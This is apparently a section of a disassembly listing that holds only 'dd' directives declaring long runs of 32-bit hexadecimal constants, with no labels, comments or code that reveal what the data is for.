		dd 59CC0982h, 0CD72400Ch, 85007148h, 12FBC8E1h,	5EE74C82h
		dd 9024282Bh, 50801D48h, 4225B154h, 40E0B472h, 892DBB9h
		dd 98801095h, 0AC1300B7h, 516D8C2Eh, 54008EB6h,	77A756BBh
		dd 0E3650Eh, 4232C01Ah,	1D18C540h, 8022D05Eh, 5021978h
		dd 0B22170F6h, 0E8487963h, 1FAD16E4h, 2439517Bh, 60BC13D4h
		dd 0C9B69AF0h, 2FC5AA40h, 0A06E42D2h, 0BC6D9041h, 0AF299A00h
		dd 4C1F9F0Fh, 0C0CAB84Ah, 0BA81C71Eh, 1C02EC58h, 4736670h
		dd 545B4C61h, 73B48D58h, 983B223Ch, 9789514Ch, 11E80D7Bh
		dd 0BFC4C94h, 41BDED1Eh, 6EEF1B80h, 627BC2Ah, 0F338714h
		dd 5C2A69C5h, 20004C81h, 294191CFh, 126C97BCh, 0E11A5DD0h
		dd 82403894h, 0E4688B93h, 407FF5D4h, 0E22474A8h, 19030891h
		dd 2BDAADB5h, 694B90A2h, 234202FFh, 0D488E39Ah,	0BC4E7C54h
		dd 48276207h, 0DD918C23h, 74390805h, 0A0C020B8h, 816F78E9h
		dd 0C0189C03h, 4A686DBBh, 54582020h, 0ED0F7E16h, 8084B95Fh
		dd 0A01FB730h, 0B8E2178Dh, 35B46178h, 70207EE5h, 0EB3B1BAh
		dd 112213B4h, 62B98AC0h, 855E5372h, 73149420h, 3430010Dh
		dd 9FAB0FDCh, 0D5D07048h, 0D2116C43h, 48911114h, 0DC682527h
		dd 0E01E9238h, 67476005h, 71F1E50Bh, 0EEE824EFh, 0FFBCBA97h
		dd 8730702Ah, 5600A8B3h, 0B9CD2A1Bh, 0B385B1Ah,	1125BC4Ch
		dd 540058FAh, 1F08FC62h, 5F0F3DEAh, 0EF2C22C2h,	9C66BE11h
		dd 0B23C985Bh, 4845F94Fh, 84CCC00Fh, 78AA071Dh,	614E8C32h
		dd 8EBB9DCBh, 40E62E10h, 5D02DDF7h, 0E4217FAh, 72C088B4h
		dd 0A9ACF03h, 0B8082EFCh, 0C758D5h, 0E63525EFh,	7729F61Ch
		dd 0D2C83C59h, 19F08E07h, 0B7178D40h, 81C2019Ch, 33E06652h
		dd 25EC3CA5h, 220098B3h, 0A1BC1604h, 0F8F8646Eh, 503A8000h
		dd 3D66FDh, 0C26CE18Ch,	0DA750972h, 258A790Bh, 0C034C188h
		dd 0B1DC0820h, 0E0F8ACDCh, 0F3D23D91h, 1055F6E1h, 3D9B0D74h
		dd 0ED01AC28h, 275A7B12h, 7E0623Eh, 0DE30E588h,	8D06458h
		dd 0C3861E72h, 6C1FAA22h, 9EEF2100h, 67049446h,	0F22C7AD5h
		dd 288004Fh, 249719A8h,	0B150BD84h, 0BF768D84h,	111D912Dh
		dd 400CDD94h, 343CBE81h, 0CE2E6D80h, 0F40006DEh, 6FD66497h
		dd 97800ADFh, 0A462ECBAh, 0BEF01876h, 716548BAh, 1616BD3Fh
		dd 4F016C3h, 0AB80113Ah, 8627D409h, 0F2597A70h,	13E03036h
		dd 9854BFA1h, 0A0FD4B25h, 0E9B250B0h, 27A4F7Dh,	1061BA0Ch
		dd 1D019CEEh, 0D93DC52Ch, 85F0BDB1h, 0B3402471h, 722500BCh
		dd 27976A2Dh, 48CB551h,	148C1008h, 0C0CF9C4Ch, 0E207D9C0h
		dd 4D2C3B3Ah, 0F1037035h, 16D5A8Dh, 49371350h, 495DF7Ch
		dd 0B78081Ah, 0E5FC0914h, 0D8278B18h, 0DA582CC0h, 0A090D65Bh
		dd 178F1D76h, 1EEB4396h, 0C2C08B5Ch, 3E02A8F2h,	3D17130Fh
		dd 246429h, 6F7380E0h, 0EAFB4D01h, 0AB2FDAE6h, 52C58C6h
		dd 9BE723Dh, 642082E8h,	0C01D5059h, 3D861322h, 6190D8B1h
		dd 0DDE80419h, 8BC08708h, 61DFE0Ah, 3D7A713Ch, 664550EBh
		dd 35EE403h, 1D87BC51h,	8EE5592Ah, 0C4F29790h, 1F6F3101h
		dd 2B94F4C8h, 0BF4C4830h, 2A9C0073h, 534AFCB4h,	0B83EA780h
		dd 279B82F8h, 56C2C7B1h, 4DD5924h, 89484ADh, 1587728h
		dd 796280A7h, 6B3644FFh, 0C78A3840h, 0A36D82h, 5F2F5AC2h
		dd 5D69857Dh, 8B483DE6h, 3E302574h, 0DDB438FCh,	0BC898E01h
		dd 8B8D6F2Fh, 0C9BD1F29h, 68198474h, 81BC80A8h,	9D20FA8Eh
		dd 5B00A5D8h, 28A2D03Dh, 98F2693h, 1E91BCBFh, 0D6F6CC10h
		dd 0C5DF44A3h, 917CC88Fh, 0B6F2917h, 0BF0B309Ah, 0FC1821C7h
		dd 6F3A11D4h, 44B80738h, 6BE130Dh, 0E028BE3Dh, 0F04B7BDFh
		dd 876B25B6h, 255B9046h, 0C29168D0h, 0AFEE3DD2h, 35A78185h
		dd 8074ECE8h, 0F686C4Ch, 88324EC6h, 0C891480h, 0A6D0213Eh
		dd 0B943E495h, 96C02D5Ch, 38D04001h, 0BC01B8EDh, 5606C5Dh
		dd 0B2C98466h, 2FCE38A0h, 504496E6h, 3C108B7Bh,	0D500C946h
		dd 306A71F3h, 0DC909D49h, 1111F061h, 35708007h,	4C6FF81Ch
		dd 851648E7h, 39B089E5h, 610E803Ch, 79BE292h, 0E84E3DC1h
		dd 4D32F0F4h, 0C91CA2A6h, 43017B52h, 3B9EEBEFh,	31468A40h
		dd 408664B5h, 8318FC0Bh, 0C3E083FBh, 78D3872Eh,	0F192F83Eh
		dd 9AC107D1h, 60DE1DACh, 0B30AF065h, 0A006872Eh, 84DA6060h
		dd 973E1656h, 0A7340B45h, 0FFE15C8Fh, 68B5AEBCh, 12B980DCh
		dd 0EEBB71Ch, 2A0A3FBFh, 37286300h, 0CF0376DFh,	62BB49Fh
		dd 0E54F897h, 1B910127h, 98E9055Fh, 5E71F0A7h, 18BB0230h
		dd 1489C8F7h, 9095D855h, 5060B211h, 0CC071784h,	79DDB105h
		dd 0F976A5B0h, 8DCB1445h, 0B58B086Fh, 1B9788F1h, 2117EC72h
		dd 0F071A767h, 9D3EC149h, 0C21196EBh, 40101442h, 4454FA1Bh
		dd 7C91295Dh, 40B45CC9h, 0A035CCD5h, 0AD7BC900h, 5EC49FE4h
		dd 1300BA46h, 0E6985618h, 0E5517C6Ch, 858FE848h, 89D41E00h
		dd 42E46F87h, 44CCB622h, 0DE274093h, 0A065D11h,	0C89D9641h
		dd 698F0080h, 4925D4B1h, 5F1FDD00h, 978ACF02h, 101E1639h
		dd 30380063h, 27C8D9C1h, 54B9AB02h, 0D379E736h,	5059A5F0h
		dd 3A605200h, 0E3E5DCh,	3C9FEC89h, 0BAC95D8Bh, 6F8E181Eh
		dd 10401F5Ah, 9F0AE9BCh, 49F8843Bh, 0D67F7EFAh,	12BEDB27h
		dd 0C7405908h, 0B1E040DCh, 29D65825h, 169D74F4h, 4884F9D8h
		dd 0BA975F10h, 4EA08B0h, 0BB214625h, 8070A880h,	8DFE5408h
		dd 0CEAB00C2h, 428FC0D4h, 0FC248973h, 0DE507CA9h, 8CD4EE6Ah
		dd 84D31C00h, 2C2FB56Dh, 955B0EB6h, 0A7A0B81Eh,	918127BCh
		dd 261F1372h, 8E422B3Fh, 56B8ADC7h, 0EB804FF4h,	3DABB734h
		dd 5BE0A9A3h, 0A018584h, 8C8114AFh, 6C2046DAh, 334413B9h
		dd 51440182h, 7CB79888h, 50D318ACh, 0A211DD11h,	0FCD914h
		dd 0D6E9ED94h, 8F390852h, 7E890166h, 203DA12Ah,	88973479h
		dd 25049A40h, 7BD94BC0h, 0B08E9085h, 0E02DB513h, 0C0941E5Ch
		dd 0E3ECAE80h, 0BF45D5h, 1352A1EDh, 0B96E1D93h,	3378F804h
		dd 0C0C8DF0Fh, 0D23D4B84h
		dd 0C4295214h, 3ABF7F44h, 3200DE49h, 0CCDEA7Bh,	10012CDFh
		dd 43C35577h, 6AE264BCh, 0B06604h, 0D306161Eh, 659C7275h
		dd 5D5A30Bh, 0C1148E27h, 3664F3A4h, 1FA7C020h, 0C01C67A0h
		dd 0B1329110h, 0D40411E2h, 17433D87h, 0B8810CE8h, 772F50BBh
		dd 514C4C40h, 0DB33F098h, 6A28EF79h, 5F0EC440h,	0DF948613h
		dd 642D267Bh, 2B80700h,	7A7A4DCh, 0DB7A2C83h, 0B41FC020h
		dd 2F09454Bh, 54BBB5D0h, 0F66182FCh, 0BCDC6314h, 40F0514Bh
		dd 9C0E4A73h, 0D100D37Bh, 0E8BE3E72h, 0B9956F18h, 4093A708h
		dd 3D35BE98h, 5086C701h, 0BD8E7C44h, 0A858386Dh, 7270DD28h
		dd 25390065h, 4385688Fh, 0E67E0DC4h, 1704B048h,	0C0CC458Ch
		dd 9847CC1h, 50BD4633h,	8E384018h, 2898780Fh, 92E040EBh
		dd 25F767E1h, 8D3C223h,	2F06423Ch, 0F95FB62Eh, 4232C509h
		dd 4B40946h, 28AE4E69h,	0C1079C9Ch, 0FE537C7h, 870FBE58h
		dd 18E61ACBh, 0C89C11AEh, 0ED0AF540h, 4A3C1C7Bh, 5490565Eh
		dd 1DC7FCDCh, 49F0E047h, 94988D27h, 9DB00880h, 0C0F2464Ah
		dd 0CC7C6100h, 365A1CE9h, 2BA4C16h, 5800AC89h, 1C160B1h
		dd 75DD0C22h, 0F8B7D289h, 5A009A7Fh, 8F55690Dh,	9770C71Eh
		dd 0CE4544C0h, 0DD0EC600h, 0E4066529h, 4AE57936h, 9ADC23C7h
		dd 7B381CF1h, 796CB04Ch, 0C90D6085h, 91ABDACh, 8728D601h
		dd 80433769h, 2C2349D1h, 91EA0075h, 0B2520534h,	85502278h
		dd 0A00949DDh, 45F6CAFEh, 0D6229048h, 0FA1FC8C2h, 0F0E90028h
		dd 0D1FDC1A3h, 0EB2A86DFh, 0EF0138D3h, 0E17CB392h, 0AAD42489h
		dd 0A3D8017Fh, 2B3272D9h, 0D30C393Eh, 18EC8C12h, 0FA889209h
		dd 0E279287Ah, 6F8F9804h, 0C8C4D9Eh, 0FAB78864h, 4A96AB00h
		dd 6248C55h, 0A7BD1416h, 0C7E648Ah, 11D5DA40h, 2D001E11h
		dd 0BCB9753Ah, 7BDC316Bh, 709F0541h, 0C9068CBDh, 295DDCF8h
		dd 3CA03872h, 0D51CE445h, 0C2C36927h, 0A00259D6h, 98BD6577h
		dd 6890BDB2h, 0BE0B10ABh, 805FBF13h, 962C1EDCh,	28EF032h
		dd 0C422B7B8h, 8879DE0Fh, 0EB5AD381h, 86166DCh,	0FEE34E41h
		dd 11980A3Bh, 1A102608h, 0E842295Bh, 0F020CC51h, 75776B07h
		dd 0B1608DA3h, 0A6D48889h, 81090384h, 86B22B45h, 6D39DC80h
		dd 1E43689Eh, 7584C0A2h, 0F8BF5BAEh, 656400E7h,	0D8619136h
		dd 0D7BD1DC8h, 0E81F8EB6h, 0F410298Bh, 40002E68h, 6341C7AAh
		dd 97BB43EBh, 0D0F1642Bh, 0BEB0C000h, 2D67B2Ch,	708BE642h
		dd 62572EDAh, 4FB45245h, 58342261h, 0E600A72Ah,	0EBECCC35h
		dd 89BD14C6h, 1E81D4DBh, 2A7AB232h, 30ABA464h, 68829ACh
		dd 3C60FD00h, 0A79DB909h, 9F571EBDh, 114585FEh,	50748022h
		dd 0C5FA8538h, 0BE357E00h, 0BB3D868Ch, 5B0C74C7h, 1E8820D3h
		dd 0A1009FF4h, 7245F927h, 48C2D498h, 102F9B7Ah,	8CB090E4h
		dd 80201645h, 3A868938h, 0A7A4D8h, 37B54884h, 0B82E1160h
		dd 0B408DC50h, 3438C702h, 8ECBC60Fh, 0B8D03220h, 9027DA4Ah
		dd 0C75A0026h, 65F78755h, 0AB76E234h, 4312D3F4h, 801709BAh
		dd 3220949Ch, 3920CB5Ah, 800C5129h, 0D21A5071h,	0AF036886h
		dd 0F09A1E82h, 0E236A05Ah, 0BF49C7A6h, 0E38C61BCh, 947CEA43h
		dd 7090B141h, 0C9BF2470h, 905EBCE9h, 0D821FA41h, 3C8170h
		dd 4C3133E3h, 645D236Bh, 938EA491h, 6E400043h, 19BAB197h
		dd 0B0759FE3h, 7C00150Ah, 0CF48A05h, 426B17B6h,	18E2B1h
		dd 54157A1Ch, 3ED868h, 0B4A77E5Bh, 0F9FD491h, 0A8A0D929h
		dd 4443253Dh, 4E24000Ch, 50ADEE10h, 0A500C6C8h,	0CA1863F9h
		dd 98BCB13Fh, 0A44400E0h, 85986536h, 0D4021D84h, 0E4E12D2Eh
		dd 111C60C5h, 63B1122Fh, 6FD408BBh, 5E4C10A7h, 0EDB405E2h
		dd 80CAB57Eh, 0D389F5BEh, 568D1A00h, 3B24DE26h,	60D60098h
		dd 5CAF4A46h, 7E5F3679h, 4092B404h, 0F1988D52h,	0B861A088h
		dd 0E5A65601h, 0FE5A9803h, 246E9C42h, 2150F895h, 7AE64335h
		dd 8008A8C5h, 4E17A02Dh, 33B400DFh, 2A7EF9AFh, 530064ECh
		dd 22BE5F5Dh, 7AB1204Dh, 9B860B8Ah, 64F0F829h, 3808D351h
		dd 86088BD4h, 52A5D1D6h, 2925E4C6h, 0DCE01C48h,	0A94639h
		dd 0C4A1533h, 12E3C935h, 0E27DE8E6h, 5D720008h,	878249BEh
		dd 18419D96h, 84A11069h, 0AF3000BFh, 0B05DF8BAh, 38023615h
		dd 0D79C81AAh, 9154D2DDh, 6B038064h, 0E367F950h, 0F17CBC7Ch
		dd 0DC149Dh, 0CEF832D9h, 4F17DD11h, 0D4874B00h,	9280311Dh
		dd 8C510010h, 67A4E96Eh, 0D1004DCDh, 0C985A7B4h, 7708FD2h
		dd 0D7358ABEh, 5885CBC7h, 90DAA9h, 62333AD4h, 3CAF3BB4h
		dd 0DD8FEAB8h, 6C005936h, 0E52003A8h, 3AC7D10Ah, 98C9E442h
		dd 2AC90h, 0E1A89C49h, 65F8E6E8h, 0F8D62529h, 27913000h
		dd 38E49B9Dh, 8B0B8E66h, 5087980Dh, 597DE0D8h, 9F0779DFh
		dd 0BB2E0827h, 0BBA2FA0h, 0BF951271h, 0B47004B5h, 0BE3E4160h
		dd 406068BDh, 215B4B2Fh, 0F4CADEC8h, 2B003332h,	0EB58F9BBh
		dd 4E0094Ch, 8B9AA624h,	825CE8C1h, 5D1AE76Fh, 0C1B4D098h
		dd 0AC0075FEh, 453A5553h, 1713D3Bh, 0DF35943Eh,	2F87BDC7h
		dd 31BB5CC4h, 84692DCh,	600F883Ch, 22F4F712h, 29C260ECh
		dd 207CD1B0h, 0E0A02592h, 2C988CB9h, 34BC7444h,	0E836DF9Ch
		dd 9ACA80DCh, 0DAEC3Ah,	97CFF0F1h, 7E570682h, 0C48CB14Ah
		dd 0EC414F96h, 0B05F3875h, 546FBCA7h, 1D910773h, 0D0401B94h
		dd 3DD1AD2Dh, 0C1973A00h, 723467DDh, 46F4E557h,	0C449FB5h
		dd 0D005A400h, 76A342EFh, 0E619E68Fh, 719E6060h, 0B1BB219Dh
		dd 48889C0Bh, 31C66DAh,	0FA3E354h, 0A1011ED8h, 19962D2Fh
		dd 40C58BBFh, 1BC184Ch,	0BD71D72Bh, 202ED088h, 24EEBCAh
		dd 4E4360E4h, 893C88B8h, 91A75E86h, 15123970h, 150048B2h
		dd 1C30C8Eh, 0B307BDA9h, 42568C13h, 23E0F5B0h, 4AE428EFh
		dd 4C9B03F5h, 85E2BD58h, 9EB2B822h, 91226300h, 0D10081B4h
		dd 54080527h, 8C2FBE66h, 0D05A3C18h, 110798C4h,	6D06B0A6h
		dd 969C770Ch, 2E305F00h, 0E493F0A4h, 60716490h,	10294281h
		dd 0A082C72h, 45790F00h, 0FBBCD6F2h, 0C0840074h, 8D2B4836h
		dd 0D70C378h, 0DC535D19h, 0EC146548h, 0E0CB32D4h, 57C204A4h
		dd 16984C8h, 0BC7E1A3Bh, 602345C6h, 0F7008395h,	6FDAE588h
		dd 0B03F5A0Fh, 5FF622D4h, 4500BA7Ch, 599CBDCEh,	2536536Ch
		dd 0F4E4E7E1h, 0CAC844h, 5E63962Fh, 0BD882B14h,	0FEE2EB00h
		dd 2AE42436h, 0F6CFF028h, 8014B186h, 445ADE3Fh,	0D100EE6Ch
		dd 59278BFAh, 2326D49h,	78E9232Eh, 0F8F46E99h, 5B302240h
		dd 371C0092h, 7A4417B6h, 4300E2B0h, 4EF8D36h, 0FC39EB5Dh
		dd 0D92D2987h, 17A73DD8h, 0E48238D3h, 0E68FB610h, 0C0962660h
		dd 72990056h, 0C5AD5764h, 45493025h, 0EFED0048h, 7FDCC190h
		dd 3DDEBC00h, 2AD1983Ch, 291E0208h, 0B9A6C683h,	4E804871h
		dd 0E84467F2h, 0B85501BEh, 0B16B5AA7h, 0DC84CA27h, 69E60CFEh
		dd 0EA54B822h, 0B1770063h, 0DF378789h, 0AF079AA9h, 1D0E2B45h
		dd 75F12C90h, 7DDD0F09h, 2E0F2510h, 0DA689160h,	0F62EB65Ch
		dd 9E1C393Ch, 0B314F444h, 27C2B4F8h, 3066BC4Ch,	0BC882924h
		dd 1A6C3149h, 0E9A0207Ah, 0C23AB155h, 3EFD80D8h, 43178F0Bh
		dd 206B4BBEh, 0BA553B2Ch, 31FAF4Ch, 25BDD0EBh, 7F15F0B3h
		dd 7E17E67h, 4DAF78D3h,	79CE1397h, 7D5A33A0h, 1707BEFEh
		dd 0F61F6389h, 94453683h, 988B40B0h, 4AF00C3h, 0D33DAB61h
		dd 0CF9F8A54h, 1274BEE4h
		dd 0D1EB3629h, 2AC60C5Ch, 27005C8Ah, 1B623BEEh,	0AD2753D4h
		dd 0EB8D06Eh, 0EB6D1231h, 0F8EC273Dh, 3A1389F8h, 0E902654Dh
		dd 7D6621E1h, 5E2E4B0h,	0D4561416h, 41DBB030h, 262017Eh
		dd 546EB56Ah, 0F4082B92h, 0B444EB46h, 0FC783200h, 8859AFBBh
		dd 1D7300C7h, 0E817854Eh, 0AC095CC8h, 0FE53E913h, 0B43F6018h
		dd 3D0C17C7h, 19C3144Eh, 8BA01327h, 43D07158h, 14283AB5h
		dd 8B4700EAh, 0F423191Ah, 0FF740348h, 99DDE91Fh, 6CBC7EB4h
		dd 0D23CB1D3h, 5CE23522h, 0ABE144F8h, 32DDB431h, 7809A70h
		dd 40BFCCABh, 0B0FA6634h, 6D3D2F00h, 6942E1DCh,	4AFC61h
		dd 22399C99h, 0F43B7872h, 0E6D56A1Fh, 0DA979E80h, 9CDF0F45h
		dd 0C56F478Ch, 0BC6C084Ah, 78C32958h, 9F6F004Bh, 0A622EFC7h
		dd 989FCBC4h, 0B952FBCh, 6960118Dh, 0C9223080h,	45B5DD0Fh
		dd 0DB200084h, 36529904h, 0D3037898h, 6CAD0B5Fh, 0C0228851h
		dd 0E8FF036Dh, 0B1594D26h, 4086F481h, 0B4EBD368h, 61F0FA00h
		dd 29FE6EF3h, 351600BEh, 8743B08Eh, 9140B706h, 0C1DCA296h
		dd 0A2144740h, 1F80387Ch, 56A4EE55h, 0C8CC402Eh, 369C02C4h
		dd 5E73544h, 0C0788444h, 0C2E00094h, 129997ECh,	4B27CF5h
		dd 0E3E18172h, 6E250320h, 0EA834439h, 0E721E0A7h, 2C1D00A2h
		dd 1117D373h, 0D40169B4h, 33F959B1h, 0F1804458h, 53D88C64h
		dd 660BE08Fh, 0D9852C69h, 0F3CA00D8h, 3405E890h, 0B477C97Bh
		dd 0E9D4F00h, 0DCC0F27Bh, 0CBA02743h, 0A8804851h, 1683AA44h
		dd 958C00E0h, 7FD79C2Ch, 4B001AA5h, 9AB53CFFh, 5BABA6BCh
		dd 3E4C0052h, 0CB1EA7CCh, 4787A52Fh, 0A32B04BCh, 0ED7084BEh
		dd 88CD13E0h, 810008B2h, 0A79486D3h, 0BD1208AAh, 0A8A8E035h
		dd 0E164DC88h, 388EB720h, 0B64814BCh, 6574430Eh, 98E83E23h
		dd 886F050Bh, 0BE10DCD9h, 6108A899h, 1C303AD0h,	60C7BEA7h
		dd 25B1C80Ah, 0E8959A10h, 12D4DD8Ch, 49178DCDh,	0C4D651C8h
		dd 7A0350h, 760FF648h, 0E5D7075Ah, 0CECCC700h, 8AAA5159h
		dd 0E8B90E1Eh, 70981857h, 670211BFh, 0F995E987h, 5000C00Dh
		dd 21AE5A26h, 0C9D0947Ch, 5203E4F2h, 2D45E000h,	0DC7A8062h
		dd 0A45B168Ch, 7218E126h, 63A0E48h, 79B900A5h, 0F9042E0Ah
		dd 7E5C273Bh, 0A1FC1103h, 2DB68698h, 0D0D77F00h, 53775E29h
		dd 74792D6Ch, 28F1C442h, 7AE63589h, 0C7B50BF4h,	30F13D0Dh
		dd 7ED3BB03h, 8786E235h, 0CD004AC2h, 12D7A936h,	0F899859Fh
		dd 0A767889Ch, 548BA0D9h, 8BD8569Fh, 34D8A89Ah,	40B091A1h
		dd 65DFEAD8h, 90255096h, 5F71268h, 1730E52Bh, 5342598h
		dd 88AB654h, 918A9DFCh,	8C6898B1h, 77A64385h, 4D944804h
		dd 0F438C853h, 1CBEED03h, 0ABA40783h, 517A8858h, 19D11626h
		dd 84541069h, 0EE64BDC0h, 0F8008C59h, 2833CB15h, 47B4743Ah
		dd 614B79C0h, 3D2BDC31h, 1C0F3030h, 9E442EEDh, 4DA704E9h
		dd 360C818Eh, 348E2BE6h, 0E703E821h, 8925B849h,	7C41B14Ch
		dd 0CEE89195h, 486D1E6Ch, 164000DFh, 0BD3D0A78h, 56A4A700h
		dd 91284F6Eh, 4CF50F1Eh, 8C8E68A8h, 0D790FFE0h,	81480D11h
		dd 24D92108h, 3BC43D64h, 0BF2C1600h, 6F3F351Bh,	0BD50972h
		dd 0C70F6C3h, 0BD806099h, 0DD12CD86h, 0FB990074h, 933DD920h
		dd 0C29DAF11h, 441C58B0h, 0AEFE6CCBh, 0FF9BD609h, 63F40011h
		dd 1A2DF304h, 0AEE5E93Eh, 0B3C19001h, 1800DF25h, 1FDFCF4Bh
		dd 28F92361h, 0ACABB1h,	442FD16Fh, 45D2E9B3h, 0E667161Ch
		dd 0E14C1DFFh, 29DD7581h, 0CEF0D75Fh, 0CD19004h, 90AB8512h
		dd 0C120F240h, 2ED11021h, 0BAF47C5Bh, 0AFC319DEh, 9E3C2593h
		dd 1630C2Ch, 8DA82C8Bh,	7C480A20h, 6E1DE414h, 254330AAh
		dd 0CE14D39h, 4196E7Fh,	0E20124E8h, 425508F5h, 0E4D921B3h
		dd 76FF02BBh, 74A82721h, 9C980117h, 511F6071h, 0B074781Ch
		dd 652EEh, 0E624A0E4h, 8E6880CCh, 42BCD1F3h, 372507F0h
		dd 0FDEC8F4h, 4B17D95Ah, 0F1D6EA20h, 0DF0001CCh, 821A807Bh
		dd 78D88FD5h, 1F6A90DEh, 0C08D8CB1h, 0E6CB9F3h,	0DA00D069h
		dd 3BB4BF62h, 4BEAB5C3h, 0A782096h, 3E255330h, 7CF445h
		dd 32D6391Bh, 0C3029F8Bh, 69E65878h, 5C2C4055h,	0D8294176h
		dd 6316DF09h, 40407821h, 33F675A3h, 6F1C128Bh, 0E548806Dh
		dd 0C7482995h, 43C101D4h, 3E27C651h, 263D5CA6h,	0C0990408h
		dd 77AA0085h, 0A76E8F4Eh, 0C2B00820h, 0E008D8C9h, 0D1176086h
		dd 5D47F74Eh, 2FB1200Eh, 87B5643Eh, 600D0E3h, 0C0239DE9h
		dd 707A059h, 0EA8F3C8Dh, 0A4FA7E70h, 4CA62715h,	841DBC79h
		dd 0B74E06C0h, 37D07FFh, 87889976h, 0A9E1982Ah,	18473BAh
		dd 0B0786A1Dh, 8ECCFC0Fh, 0A3880F61h, 0E63F3A44h, 0C030A684h
		dd 8DA33117h, 652EAD04h, 3CBC96B9h, 0B63B9080h,	0CE00A830h
		dd 70DDB4A0h, 3B2A639h,	0DE26D735h, 48BE757Ch, 233F1D00h
		dd 176E4A4Fh, 60766903h, 6B1FD200h, 0F80597A7h,	462945E4h
		dd 9107ECA8h, 5004871Ch, 0C88EA793h, 12C1CF1Bh,	0C7BA8368h
		dd 33D21640h, 2C9C0B22h, 0D01025BEh, 5D3FE5DCh,	740C77C4h
		dd 0BE95CC05h, 3E20002h, 963CCB0Dh, 730E6224h, 3F3D39DFh
		dd 898CCEh, 3531BCD9h, 225A2E8Fh, 3A2103D0h, 98005127h
		dd 1F1A91A6h, 9C9D5763h, 0FBAD4154h, 4B3FCC7Dh,	0EDBB431Fh
		dd 0FCECAFh, 0D4A4840h,	4144ACD9h, 15E6EC1Fh, 0F0F5B80Bh
		dd 66923C2Ch, 49B600F8h, 0D5D648F3h, 0E3C5969h,	380BA72h
		dd 41A360C5h, 927B9883h, 2651920h, 809D084Ah, 83594E21h
		dd 1CD9F0h, 5466034Ch, 0B17A69EEh, 0DBB6C90Fh, 0DA3B830Ah
		dd 7818070Fh, 8F6E2199h, 0A4EB8087h, 9293012Fh,	809160C4h
		dd 83408473h, 915AE782h, 41109F40h, 1068358h, 869588CCh
		dd 8018DE70h, 0FB56450Eh, 0AB0091E3h, 0E7C015A0h, 3E28B138h
		dd 2075A64Bh, 0CE06A1EBh, 65EC4480h, 0C57738h, 0E866CF52h
		dd 0E7C12A7Fh, 9D084F66h, 5AAA0099h, 0AECD57CFh, 3600F5B5h
		dd 0EE6EF8AFh, 0C497EBh, 0C93D1E41h, 84B78C4Fh,	0C6FF4D02h
		dd 61AB9CF0h, 0BD05ADEh, 4F733D6Eh, 0D1D72180h,	0D30D37B9h
		dd 0A7769500h, 7733C87Fh, 2DD60072h, 0F81EB6Dh,	4C0230BCh
		dd 0ADC393A2h, 0C85D601Ah, 49DF00D9h, 0EF1159Fh, 0EF0016A5h
		dd 8F643DB5h, 989F5CBh,	0DBE1796Fh, 7BA0DB80h, 3002D92Bh
		dd 0E0754F16h, 0B5314022h, 7F2CE052h, 370E00D8h, 7782FFA0h
		dd 8B00DC9Dh, 8930E476h, 7EECD33h, 172EC42Dh, 0A2E8E00Dh
		dd 3F006762h, 0BC8BE81h, 79C254FDh, 0D1A32470h,	7A0A000Eh
		dd 53F9308Dh, 0EB6560E4h, 43BEA11h, 89A1D10Ch, 7C00E210h
		dd 9002F999h, 172D8AFh,	0A04F588Eh, 0D0D13378h,	0EB0CE35Fh
		dd 298777E2h, 0D75B884Bh, 4388AF07h, 0A3EE736Fh, 9857C63Ch
		dd 8597E3h, 0DF5961ACh,	44FF45F6h, 0A5194C00h, 5733DB13h
		dd 0A01612CFh, 0F6710010h, 95EAE8Eh, 19121E18h,	6697E0h
		dd 7DB0548Ch, 3DAD4CB4h, 69F4C800h, 0AFA03157h,	84783E3Ch
		dd 5EEB4200h, 10F7F1B0h, 0AA00B2E2h, 3A44FF0h, 0E23213h
		dd 6C22BB5Dh, 0FEEB3808h, 877C7877h, 0A780230Eh, 398E01DFh
		dd 9040E885h, 0B32B3Ah,	1EB616A4h, 0B4846FEBh, 4A7FA600h
		dd 329B1A7h, 3F8B00CFh,	5772B747h, 9100FB52h, 0F3C7DD71h
		dd 1E519C6h, 0C3028EBEh, 0E40DCFF7h, 2B0070B8h,	0DB1FD409h
		dd 0FD04F49h, 0D2A2E6F2h, 36067A20h, 46007796h,	6BBE316Dh
		dd 0E57304h, 0FAA7F99Bh
		dd 2F5BDE17h, 0ECC50D00h, 706A63F6h, 0AAB02BDh,	3E6B4B6Dh
		dd 4227F080h, 6E76CDD3h, 86FB370Fh, 0C774C031h,	24B366h
		dd 9D1D5332h, 0A7331888h, 0F90A4603h, 0A8BCA8A6h, 0F11C0Dh
		dd 2A39445Eh, 3C5C05Fh,	0D4E10707h, 3A936FA9h, 0B5A7C891h
		dd 37EE0010h, 4E4F8C76h, 0D83ECB51h, 4200F657h,	5E4CAB7Ch
		dd 71659EB7h, 936C0032h, 3682F21Dh, 0E3002EF3h,	0FD5FD112h
		dd 0E158B8Dh, 10CD4427h, 709278A6h, 0E9161B00h,	0EC816D4Ah
		dd 680F0CB8h, 0D3E9FF2Eh, 807F3D3Dh, 3482FEDBh,	3B106602h
		dd 5E8072E0h, 88F70E53h, 4D000C16h, 8EEA1326h, 5C2D4Ch
		dd 60869E31h, 0CD29A364h, 2A77609Fh, 788FE1D0h,	0E8BB041Dh
		dd 25C91A90h, 66A80E07h, 7920DC51h, 3231FBh, 891FBA85h
		dd 0FF13465Eh, 355AA900h, 0CD19174Ah, 48D300BFh, 80885F2Eh
		dd 0EEA02270h, 2D01D8B9h, 6E8E0882h, 3820E94Ch,	68F300FBh
		dd 0BA129737h, 8B09664Fh, 8060B355h, 46F4928Ch,	6BD4002Ah
		dd 0A76402B8h, 291CB2F0h, 30406220h, 7A32BD98h,	86AC1347h
		dd 0B6B90B1Fh, 0FE109C80h, 0FB0A9B6Eh, 0F518FAAEh, 0E0832603h
		dd 0F51000A1h, 8CCB21D9h, 0BC098074h, 0D6897h, 0C0D4F63Fh
		dd 9096028Eh, 0D9398477h, 0AFED2068h, 932B8A00h, 5B5A53EFh
		dd 800600AEh, 3BE9B17Dh, 0C01320C1h, 0C700F234h, 0BE2F8EA4h
		dd 126C3A7Fh, 85FE3200h, 6FD45FC6h, 361339h, 89BBC4BFh
		dd 0B0B190E0h, 2402309Fh, 0A240C0A0h, 0F920C726h, 49383030h
		dd 0FBF81DC8h, 0A5D1C021h, 0FDF0F6B6h, 0EEBC8609h, 0DC74A79Eh
		dd 0D3090B7h, 0D59BCFh,	0E9B01A3Eh, 3F896423h, 816C3B00h
		dd 0FE393327h, 0B8BA609Bh, 0A8BBC2DEh, 4300CD77h, 92BF5D67h
		dd 0F0103A0h, 312985F8h, 6340890Fh, 22136097h, 0D8AAE700h
		dd 674ACB4Bh, 8AE63D7Bh, 0FBAC9380h, 0C86BCF0Ch, 6A90A600h
